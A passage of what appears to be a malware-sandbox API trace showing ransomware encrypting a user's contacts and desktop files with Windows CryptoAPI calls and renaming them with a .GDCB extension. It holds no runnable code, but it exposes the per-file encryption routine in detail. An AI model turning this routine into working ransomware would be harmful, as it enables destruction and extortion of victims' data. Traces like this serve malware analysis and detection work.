lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.454] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.455] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.455] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.455] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.455] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.455] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.455] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.457] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308b08) returned 1 [0136.457] CryptGetKeyParam (in: hKey=0x308b08, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.457] CryptEncrypt (in: hKey=0x308b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.458] GetLastError () returned 0x0 [0136.458] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.458] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0136.460] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x3087c8) returned 1 [0136.460] CryptGetKeyParam (in: hKey=0x3087c8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.460] CryptEncrypt (in: hKey=0x3087c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.460] GetLastError () returned 0x0 [0136.460] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.460] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.460] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.461] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.461] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x496, lpOverlapped=0x0) returned 1 [0136.472] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.472] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.473] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.473] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-1174, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.473] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f4c8*=0x4a0, lpOverlapped=0x0) returned 1 [0136.473] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.473] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.476] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.476] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.476] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f4c8*=0x10, lpOverlapped=0x0) returned 1 [0136.476] CloseHandle (hObject=0x4e8) returned 1 [0136.477] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.477] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.477] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.477] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\lulcit amkdfe.contact.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\lulcit amkdfe.contact.gdcb")) returned 1 [0136.478] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.478] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.478] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.478] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.478] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0136.479] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.479] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.479] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.479] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.479] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0136.481] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308e88) returned 1 [0136.481] CryptGetKeyParam (in: hKey=0x308e88, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.481] CryptEncrypt (in: hKey=0x308e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.481] GetLastError () returned 0x0 [0136.481] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.481] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.483] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308848) returned 1 [0136.483] CryptGetKeyParam (in: hKey=0x308848, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.483] CryptEncrypt (in: hKey=0x308848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.483] GetLastError () returned 0x0 [0136.483] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.483] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.484] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.484] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.484] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x51f, lpOverlapped=0x0) returned 1 [0136.493] VirtualAlloc (lpAddress=0x0, dwSize=0x520, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.493] VirtualAlloc (lpAddress=0x0, dwSize=0x520, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.493] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.494] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-1311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.494] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f4c8*=0x520, lpOverlapped=0x0) returned 1 [0136.494] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.494] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.497] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.497] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.497] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f4c8*=0x10, lpOverlapped=0x0) returned 1 [0136.497] CloseHandle (hObject=0x4e8) returned 1 [0136.498] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.498] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.498] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.498] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\sikvnb huvuib.contact.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\sikvnb huvuib.contact.gdcb")) returned 1 [0136.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.503] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.503] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.503] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.503] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.507] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.507] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.507] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.507] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.508] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.508] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.508] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.508] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.510] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3086c8) returned 1 [0136.510] CryptGetKeyParam (in: hKey=0x3086c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.510] CryptEncrypt (in: hKey=0x3086c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.510] GetLastError () returned 0x0 [0136.510] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.510] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.512] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3088c8) returned 1 [0136.512] CryptGetKeyParam (in: hKey=0x3088c8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.512] CryptEncrypt (in: hKey=0x3088c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.512] GetLastError () returned 0x0 [0136.512] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.512] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\-__krKwuDNCw7vix_s.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\-__krkwudncw7vix_s.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.513] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.513] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.513] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xcaa1, lpOverlapped=0x0) returned 1 [0136.522] VirtualAlloc (lpAddress=0x0, dwSize=0xcab0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.523] VirtualAlloc (lpAddress=0x0, dwSize=0xcab0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.523] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.524] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-51873, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.524] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xcab0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xcab0, lpOverlapped=0x0) returned 1 [0136.524] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.524] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.527] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.527] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.527] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.527] CloseHandle (hObject=0x4ec) returned 1 [0136.528] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.528] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.529] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.529] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\-__krKwuDNCw7vix_s.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\-__krkwudncw7vix_s.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\-__krKwuDNCw7vix_s.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\-__krkwudncw7vix_s.wav.gdcb")) returned 1 [0136.530] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.531] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.531] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.531] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0136.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.532] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.532] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.532] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.534] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308c48) returned 1 [0136.534] CryptGetKeyParam (in: hKey=0x308c48, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.534] CryptEncrypt (in: hKey=0x308c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.534] GetLastError () returned 0x0 [0136.534] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.534] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.536] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308988) returned 1 [0136.536] CryptGetKeyParam (in: hKey=0x308988, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.536] CryptEncrypt (in: hKey=0x308988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.536] GetLastError () returned 0x0 [0136.536] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.536] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\8g6mIA 6.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\8g6mia 6.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.536] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.537] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.537] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x8dbd, lpOverlapped=0x0) returned 1 [0136.545] VirtualAlloc (lpAddress=0x0, dwSize=0x8dc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.546] VirtualAlloc (lpAddress=0x0, dwSize=0x8dc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.546] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.547] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-36285, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.547] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x8dc0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x8dc0, lpOverlapped=0x0) returned 1 [0136.547] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.547] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.550] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.550] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.550] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.550] CloseHandle (hObject=0x4ec) returned 1 [0136.551] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.551] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.552] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.552] MoveFileW 